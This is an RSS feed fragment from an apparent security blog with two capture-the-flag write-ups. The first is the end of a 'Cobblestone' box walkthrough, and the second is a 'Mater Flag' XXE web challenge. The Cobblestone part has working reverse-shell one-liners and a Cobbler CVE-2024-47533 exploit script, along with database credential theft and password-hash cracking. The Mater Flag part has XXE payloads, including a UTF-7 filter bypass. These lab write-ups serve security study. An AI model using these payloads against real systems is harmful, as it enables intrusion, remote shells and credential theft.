&lt;pre&gt;&lt;code&gt;python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.xx.xx&quot;,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(&quot;sh&quot;)&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The line bites—www-data is now ours:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ rlwrap nc -lnvp 4444
Connection from 10.129.xx.xx:49180
$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
python3 -c &apos;import pty;pty.spawn(&quot;/bin/bash&quot;)&apos;
www-data@cobblestone:/var/www/vote$ ls -R
ls -R
.:
composer.json db img login.php register.php vendor composer.lock
details.php index.php login_verify.php suggest.php webfonts CSS
favicon.ico js logout.php templates
./css:
all.min.css bootstrap.min.css stylesheet.css stylesheet.css.orig
./db:
connection.php
./img:
minecraft.jpg
./js:
bootstrap.bundle.min.js
firefly.js jquery.min.js
main.js
./templates:
...
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Web root user &lt;code&gt;www-data&lt;/code&gt; compromised.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;USER&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;After gaining the web foothold, the next step is traditional post-exploitation—extract every valuable configuration file.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Database Compromise&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Using the earlier web shell at &lt;code&gt;/var/www/html&lt;/code&gt; (prior to obtaining a reverse shell), I ran a recursive directory listing (ls -R) to map the entire web root directory: /var/www/html&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;/var/www/html
├── composer.json
├── composer.lock
├── index.php
├── login.php
├── login_verify.php
├── logout.php
├── register.php
├── upload.php
├── suggest_skin.php
├── skins.php
├── skins_app_admin_server_info.php
├── download.php
├── preview_banner.php
├── user.php
├── db/
│   └── connection.php
├── css/
│   ├── all.min.css
│   ├── bootstrap.min.css
│   └── stylesheet.css
├── js/
│   ├── bootstrap.bundle.min.js
│   ├── firefly.js
│   ├── jquery.min.js
│   └── main.js
├── img/
│   ├── forums.png
│   ├── logo.png
│   ├── minecraft.jpg
│   ├── store.png
│   └── vote.png
├── skins/
│   ├── dog1234.png
│   ├── eldeathly.png
│   ├── niftysmith.png
│   ├── paulgg.png
│   ├── sword4000.png
│   └── preview_*.png
├── templates/                  # Twig views
│   ├── downloads.html.twig
│   ├── footer.html.twig
│   ├── header.html.twig
│   ├── suggest.html.twig
│   ├── suggestform.html.twig
│   ├── upload.html.twig
│   └── user.html.twig
├── vendor/
│   ├── autoload.php
│   ├── composer/               # Composer autoload metadata
│   ├── symfony/                # polyfills, contracts
│   └── twig/twig/              # Twig engine
└── webfonts/
    ├── fa-*.ttf
    └── fa-*.woff2 
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The dubious db folder holds a config file revealing the credentials for the cobblestone database:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// connection.php under /var/www/html/db
&amp;lt;?php

$dbserver = &quot;localhost&quot;;
$username = &quot;dbuser&quot;;
$password = &quot;aichooDeeYanaekungei9rogi0eMuo2o&quot;;
$dbname = &quot;cobblestone&quot;;

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn-&amp;gt;connect_errno &amp;gt; 0) {
die(&quot;Connection failed: &quot; . $conn-&amp;gt;connect_error);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;Located within &lt;code&gt;/var/www/vote&lt;/code&gt;, the separate db/connection.php holds credentials for a different database named vote:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;// connection.php under /var/www/vote/db
&amp;lt;?php

$dbserver = &quot;localhost&quot;;
$username = &quot;voteuser&quot;;
$password = &quot;thaixu6eih0Iicho]irahvoh6aigh&amp;gt;ie&quot;;
$dbname = &quot;vote&quot;;

$conn = new mysqli($dbserver, $username, $password, $dbname);

// Check connection
if ($conn-&amp;gt;connect_errno &amp;gt; 0) {
 die(&quot;Connection failed: &quot; . $conn-&amp;gt;connect_error);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This was revealed earlier in the SQLi stage, yet remains useful for verifying password reuse.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Next, we establish a local connection to the uncharted cobblestone server through our reverse shell:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;mysql -u dbuser -p&apos;aichooDeeYanaekungei9rogi0eMuo2o&apos; -h localhost cobblestone
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;MariaDB [cobblestone]&amp;gt; show databases;
show databases;
+--------------------+
| Database           |
+--------------------+
| cobblestone        |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [cobblestone]&amp;gt; use cobblestone;
use cobblestone;
Database changed

MariaDB [cobblestone]&amp;gt; show tables;
show tables;
+-----------------------+
| Tables_in_cobblestone |
+-----------------------+
| skins                 |
| suggestions           |
| users                 |
+-----------------------+
3 rows in set (0.001 sec)

MariaDB [cobblestone]&amp;gt; select * from users;
select * from users;
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
| id | Username | FirstName | LastName | Email                  | Role  | Password                                                         | register_ip |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
|  1 | admin    | admin     | admin    | admin@cobblestone.htb  | admin | f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1 | *           |
|  2 | cobble   | cobble    | stone    | cobble@cobblestone.htb | admin | 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d | *           |
+----+----------+-----------+----------+------------------------+-------+------------------------------------------------------------------+-------------+
2 rows in set (0.001 sec)

&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;The users table contained two entries—admin and cobble—stored as unsalted SHA-256 hashes:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ hashcat --identify &apos;20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d&apos;
The following 8 hash-modes match the structure of your input hash:

      # | Name                                                       | Category
  ======+============================================================+======================================
   1400 | SHA2-256                                                   | Raw Hash
  17400 | SHA3-256                                                   | Raw Hash
  11700 | GOST R 34.11-2012 (Streebog) 256-bit, big-endian           | Raw Hash
   6900 | GOST R 34.11-94                                            | Raw Hash
  17800 | Keccak-256                                                 | Raw Hash
   1470 | sha256(utf16le($pass))                                     | Raw Hash
  20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
  21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;hashcat (mode 1400) successfully decrypted cobble’s hash:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ echo &quot;f4166d263f25a862fa1b77116693253c24d18a36f5ac597d8a01b10a25c560d1&quot; &amp;gt; hashes.txt
$ echo &quot;20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d&quot; &amp;gt;&amp;gt; hashes.txt

$ hashcat -m 1400 hashes.txt /usr/share/wordlists/rockyou.txt --force
20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987473321b0a8f4d:iluvdannymorethanyouknow
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 20cdc5073e9e7a7631e9d35b5e1282a4fe6a8049e8a84c82987...0a8f4d
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;before &lt;code&gt;/etc/passwd&lt;/code&gt; confirmed cobble as a local user:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;$ ls /home
chroot_jail  cobble  john
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;lets login with cracked credentials into SSH:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/Desktop]
└─$ ssh cobble@cobblestone.htb
The authenticity of host &apos;cobblestone.htb (10.10.11.81)&apos; can&apos;t be established.
ED25519 key fingerprint is SHA256:c5Fpg/cgHQO2EmwqsW3VtYIVXXMz7nz8dwjibC8n0gw.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added &apos;cobblestone.htb&apos; (ED25519) to the list of known hosts.
cobble@cobblestone.htb&apos;s password: 
Linux cobblestone 6.1.0-37-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.140-1 (2025-05-22) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
cobble@cobblestone:~$ 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-1.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The session opens within a restricted bash (rbash) environment, yet the user flag is readily available.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;ROOT&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;Rbash&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Rbash, or restricted bash, is basically a limited version of bash. No changing directories with cd, no altering the PATH variable, and no running binaries via absolute paths unless they’re included in $PATH. Redirecting output? Not possible. Trying set +r? Won’t work.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;That’s why our initial web shell is confined to /var/www/html. However, we’ve just discovered that /var/www/vote is an allowed exception.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Our collection of permitted binaries is minimal:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;cobble@cobblestone:~$ ls /bin -l
total 1964
-rwxr-xr-x 1 root root   44016 Oct  1  2024 cat
-rwxr-xr-x 1 root root  203152 Oct  1  2024 grep
-rwxr-xr-x 1 root root  151344 Oct  1  2024 ls
-rwxr-xr-x 1 root root  146360 Oct  1  2024 ps
-rwxr-xr-x 1 root root 1265648 Oct  1  2024 rbash
-rwxr-xr-x 1 root root  193680 Oct  1  2024 ss
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However, &lt;code&gt;ps&lt;/code&gt; and &lt;code&gt;ss&lt;/code&gt; provide sufficient tools to begin probing the system’s vital processes.&lt;/p&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Local Enum&amp;lt;/h1&amp;gt;
Perform some basic system enumeration:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;cobble@cobblestone:~$ ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
...
root        1037       1  0 07:21 ?        00:00:00 /sbin/wpa_supplicant -u -s -O DIR=/run/wpa_supplicant GROUP=netdev
root        1166       1  0 07:21 ?        00:00:07 /usr/bin/python3 /usr/local/bin/cobblerd -F
root        1168       1  0 07:21 ?        00:00:03 php-fpm: master process (/etc/php/8.2/fpm/php-fpm.conf)
root        1187       1  0 07:21 ?        00:00:00 /sbin/agetty -o -p -- \u --noclear - linux
root        1196       1  0 07:21 ?        00:00:00 /usr/sbin/in.tftpd --listen --user tftp --address :69 --secure /srv/tftp
www-data    1238    1168  0 07:21 ?        00:00:00 php-fpm: pool www
www-data    1240    1168  0 07:21 ?        00:00:00 php-fpm: pool www
mysql       1287       1  0 07:21 ?        00:00:09 /usr/sbin/mariadbd
root        1288       1  0 07:21 ?        00:00:03 /usr/sbin/apache2 -k start
www-data   97625    1288  0 13:35 ?        00:00:00 /usr/sbin/apache2 -k start
root       98060       2  0 13:38 ?        00:00:00 [kworker/u4:0-events_unbound]
www-data  104468   97625  0 14:02 ?        00:00:00 sh -c python3 -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;10.10.12.11&quot;,4444));os.dup2
www-data  104470  104469  0 14:02 ?        00:00:00 sh
root      104556       2  0 14:03 ?        00:00:01 [kworker/1:2-events]
root      105772       2  0 14:08 ?        00:00:00 [kworker/u4:3-ext4-rsv-conversion]
root      108690       2  0 14:19 ?        00:00:00 [kworker/0:3-events]
www-data  108801    1288  0 14:19 ?        00:00:00 /usr/sbin/apache2 -k start
www-data  109302    1288  0 14:20 ?        00:00:00 /usr/sbin/apache2 -k start
root      109303       1  0 14:20 ?        00:00:00 sshd: cobble [priv]
cobble    109394       1  0 14:21 ?        00:00:00 /lib/systemd/systemd --user
cobble    109395  109394  0 14:21 ?        00:00:00 (sd-pam)
cobble    109414  109303  0 14:21 ?        00:00:00 sshd: cobble@pts/1
cobble    109489  109414  0 14:21 ?        00:00:00 -rbash
root      109804       2  0 14:23 ?        00:00:00 [kworker/1:3-events]
www-data  111008    1288  0 14:27 ?        00:00:00 /usr/sbin/apache2 -k start
...
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;cobble@cobblestone:~$ ss -lntp
State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process
LISTEN                0                     5                                        127.0.0.1:25151                                     0.0.0.0:*
LISTEN                0                     511                                        0.0.0.0:80                                        0.0.0.0:*
LISTEN                0                     128                                        0.0.0.0:22                                        0.0.0.0:*
LISTEN                0                     80                                       127.0.0.1:3306                                      0.0.0.0:*
LISTEN                0                     128                                           [::]:22                                           [::]:*

cobble@cobblestone:~$ ss -lnup
State                 Recv-Q                Send-Q                               Local Address:Port                                 Peer Address:Port                Process
UNCONN                0                     0                                          0.0.0.0:68                                        0.0.0.0:*
UNCONN                0                     0                                          0.0.0.0:69                                        0.0.0.0:*
UNCONN                0                     0                                             [::]:69                                           [::]:*
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Observations:&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The process &lt;code&gt;/usr/local/bin/cobblerd&lt;/code&gt; -F is running as root and listening exclusively on 127.0.0.1:25151. Apache, PHP-FPM, and MariaDB are all active, with MariaDB bound to localhost. A TFTP server is running on UDP port 69 at /srv/tftp.
This setup represents a typical Cobbler stack—allowing exploitation of Cobbler’s XML-RPC interface from localhost to read arbitrary files with root privileges.
A provisioning daemon operating as root and exposing a local API effectively functions as an on-demand privilege escalation vector.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Cobbler&amp;lt;/h1&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Understanding Cobbler’s operation might call for basic familiarity with Linux kernel internals. However, an in-depth exploration—such as the kernel boot process involving initrd (previously initramfs) or filesystem management—is outside this write-up’s scope. Moreover, such detail isn’t required to exploit this challenge. For comprehensive insights, refer to the official &lt;a href=&quot;https://docs.kernel.org/&quot;&gt;Linux Kernel documentation&lt;/a&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;Fundamental Concepts&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;Cobbler&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;p&gt;:::tip&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cobbler is a Linux provisioning and PXE (Preboot Execution Environment) server designed to automate OS installations. It manages three primary object types:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Distro: Metadata for an OS build, primarily including paths to the kernel and initrd files on the Cobbler host (&lt;code&gt;e.g., /boot/vmlinuz-6.1.0-37-amd64, /boot/initrd.img-6.1.0-37-amd64&lt;/code&gt;).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Profile: An installation blueprint that references one distro and includes configuration details such as kickstart templates.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;System: A specific machine configuration pointing to a profile, with host-specific adjustments like MAC/IP addresses and templated files.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The Cobbler daemon (&lt;code&gt;cobblerd&lt;/code&gt;) operates as root and exposes a management API bound to &lt;code&gt;127.0.0.1:25151&lt;/code&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;Provisioning&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.ibm.com/think/topics/provisioning&quot;&gt;Provisioning&lt;/a&gt; is the process of setting up systems or users with the necessary resources and services. This includes creating, modifying, or deleting user accounts and profiles, managing permissions, and configuring IT infrastructure. It ensures users have appropriate access to perform their roles efficiently.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;TFTP&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;TFTP (Trivial File Transfer Protocol, UDP port 69) facilitates PXE boot by delivering bootloaders, kernels, and initrd images to clients.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;From the process list:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;in.tftpd --secure /srv/tftp
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;This indicates the server delivers files from &lt;code&gt;/srv/tftp&lt;/code&gt;. The &lt;code&gt;--secure&lt;/code&gt; flag restricts access to that directory, enforcing read-only permissions—a vital part of PXE booting but not directly exploitable for privilege escalation here unless the directory is writable.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;XML-RPC&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Cobbler acts as an orchestrator for PXE and OS provisioning. It maintains an internal representation of expected resources—distros, profiles, and systems—and materializes these into files and directories served via TFTP/HTTP. The XML-RPC API serves as a remote interface to this model, accessible locally at &lt;code&gt;127.0.0.1:25151&lt;/code&gt;, used by both the Cobbler CLI and web interface.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Through this API, an authenticated user can create, modify, and save distros, profiles, and systems, then trigger a sync operation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h2&amp;gt;Sync&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The &lt;code&gt;sync&lt;/code&gt; function is Cobbler’s &quot;deploy changes&quot; command. When invoked via srv.sync(token):&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Cobbler reads its internal database/state for all distros, profiles, and systems.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It validates that referenced kernel/initrd paths exist on disk.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It generates or updates files within managed directories, typically:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;TFTP tree (e.g., /srv/tftp)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Web tree (e.g., /srv/www/cobbler or /var/www/cobbler)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Internal template/cache directories under /var/lib/cobbler/...&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;It processes per-system template_files, copying or rendering them into system-specific areas for serving or querying.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Since &lt;code&gt;cobblerd&lt;/code&gt; runs with root privileges, all file operations happen with full system rights—this is a critical factor.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Notably, a System object’s &lt;code&gt;template_files&lt;/code&gt; can be defined as:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;{&quot;&amp;lt;source_path_on_host&amp;gt;&quot;: &quot;&amp;lt;virtual_dest_path&amp;gt;&quot;}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;source_path_on_host&amp;gt;&lt;/code&gt; can be any path on the Cobbler server (e.g., /etc/shadow).&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;virtual_dest_path&amp;gt;&lt;/code&gt; is a logical identifier (e.g., /leak) that Cobbler uses as a reference.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;When &lt;code&gt;sync&lt;/code&gt; runs, Cobbler opens the source file as root, reads its contents, and stores it in the system’s template repository under the virtual destination.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Later, the &lt;code&gt;XML-RPC&lt;/code&gt; method&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&amp;lt;h1&amp;gt;CVE-2024-47533&amp;lt;/h1&amp;gt;
&amp;lt;h2&amp;gt;EXP&amp;lt;/h2&amp;gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;lets ask chatgpt to write exploit script:&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;import xmlrpc.client
import uuid

TARGET = &quot;http://127.0.0.1:25151&quot;
LHOST, LPORT = &quot;10.10.xx.xx&quot;, &quot;4444&quot;

# Expression-only Cheetah payload that won&apos;t break parsing:
payload = f&quot;&quot;&quot;#set $null = __import__(&apos;os&apos;).system(&apos;bash -c &quot;bash -i &amp;gt;&amp;amp; /dev/tcp/{LHOST}/{LPORT} 0&amp;gt;&amp;amp;1&quot;&apos;)
# Kickstart minimal skeleton (keeps Cobbler happy)
lang en_US
keyboard us
network --bootproto=dhcp
rootpw  --plaintext cobbler
timezone UTC
bootloader --location=mbr
clearpart --all --initlabel
autopart
reboot
&quot;&quot;&quot;

random_suffix = str(uuid.uuid4())[:4]

s = xmlrpc.client.ServerProxy(TARGET)
t = s.login(&quot;&quot;, -1)  # CVE-2024-47533

# (Re)write the malicious template (avoid #python/#end python)
s.write_autoinstall_template(&quot;pwn.ks&quot;, payload, t)

did = s.new_distro(t)
s.modify_distro(did, &quot;name&quot;, f&quot;pwn_distro{random_suffix}&quot;, t)
s.modify_distro(did, &quot;arch&quot;, &quot;x86_64&quot;, t)
s.modify_distro(did, &quot;breed&quot;, &quot;redhat&quot;, t)
s.modify_distro(did, &quot;kernel&quot;, &quot;vmlinuz&quot;, t)
s.modify_distro(did, &quot;initrd&quot;, &quot;initrd.img&quot;, t)
s.save_distro(did, t)

# Create/adjust the profile, link distro, set our template
try:
    pid = s.new_profile(t)
    s.modify_profile(pid, &quot;name&quot;, &quot;pwnprof&quot;, t)
except xmlrpc.client.Fault:
    pid = s.get_profile(&quot;pwnprof&quot;, t)

s.modify_profile(pid, &quot;distro&quot;, f&quot;pwn_distro{random_suffix}&quot;, t)
s.modify_profile(pid, &quot;autoinstall&quot;, &quot;pwn.ks&quot;, t)
s.modify_profile(pid, &quot;kickstart&quot;,   &quot;pwn.ks&quot;, t)
s.save_profile(pid, t)

# Render (no token arg)
print(s.generate_profile_autoinstall(&quot;pwnprof&quot;))
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;image-2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
root@cobblestone:/root# cat root.txt
cat root.txt
5760b52bf3b4289cf312xxxxxxxxx
root@cobblestone:/root# 
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;/div&amp;gt;&lt;/p&gt;
</content:encoded></item><item><title>Mater Flag</title><link>https://shadowv0id.vercel.app/posts/flagyard/challenges/mastersflag/metersflag/</link><guid isPermaLink="true">https://shadowv0id.vercel.app/posts/flagyard/challenges/mastersflag/metersflag/</guid><description>Unleash your web hacking skills to unearth the secret flag hidden at /app/flag.txt in this thrilling web challenge.</description><pubDate>Sat, 09 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;00.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;Ip&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;http://&amp;lt;username&amp;gt;.playat.flagyard.com&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Here we have a simple &lt;code&gt;UI&lt;/code&gt; which kinda works
&lt;img src=&quot;01.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;However it wont work with any other inputs other than numbers
&lt;img src=&quot;02.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Lets Observe the challenge code
&lt;img src=&quot;03.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::Tip&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Lets BreakDown Step by step&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;Vulnerable code (excerpt)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;parser = etree.XMLParser(resolve_entities=True)
doc = etree.fromstring(xml_data, parser)
# crude filter:
if b&quot;&amp;lt;!DOCTYPE&quot; in xml_data or b&quot;+ADwAIQ-ENTITY&quot; in xml_data:
    return &quot;I&apos;m watching you *-*&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;resolve_entities=True&lt;/code&gt; enables entity resolution. The filter checks only for the exact bytes &lt;code&gt;&amp;lt;!DOCTYPE&lt;/code&gt; and a single encoded string — it is insufficient.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Proof of Concept (PoC)
Goal: Read &lt;code&gt;/app/flag.txt&lt;/code&gt; and have the content reflected in the XML response.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Why this works: &lt;code&gt;lxml&lt;/code&gt; will expand declared entities when resolve_entities=True. The app reflects the &lt;code&gt;&amp;lt;weight&amp;gt; / &amp;lt;height&amp;gt;&lt;/code&gt; values in the response XML, so injecting &lt;code&gt;&amp;amp;xxe;&lt;/code&gt; into &lt;code&gt;&amp;lt;weight&amp;gt;&lt;/code&gt; will cause the file content to appear in the returned XML.&lt;/p&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Example payload (bypass simple filter)
Note: The filter checks for the exact bytes &lt;code&gt;&amp;lt;!DOCTYPE&lt;/code&gt;, so using case variation like &amp;lt;!Doctype&amp;gt; or adding whitespace/line breaks will evade it.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!--?xml version=&quot;1.0&quot; ?---&amp;gt;
&amp;lt;!DOCTYPE	 foo [&amp;lt;!ENTITY xxe SYSTEM &quot;file:///app/flag.txt&quot;&amp;gt;]&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;04.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;It seems that there is something preventing our attack. Looking at the source code
&lt;img src=&quot;05.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;we can try to encode our payload to UTF-7 on cyberchef and then try to send it.
&lt;img src=&quot;06.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;used payload after encoding&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-7&quot;?&amp;gt;+ADw-+ACE-DOCTYPE+ACA-replace+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-ent+ACA-SYSTEM+ACA-+ACI-file:///app/flag.txt+ACI-+AD4-+ACA-+AF0-+AD4-+AA0-+AAo-+ADw-data+AD4-+ADw-weight+AD4-+ACY-ent+ADs-+ADw-/weight+AD4-+ADw-height+AD4-156+ADw-/height+AD4-+ADw-/data+AD4-
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;we got a flag
&lt;img src=&quot;07.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;
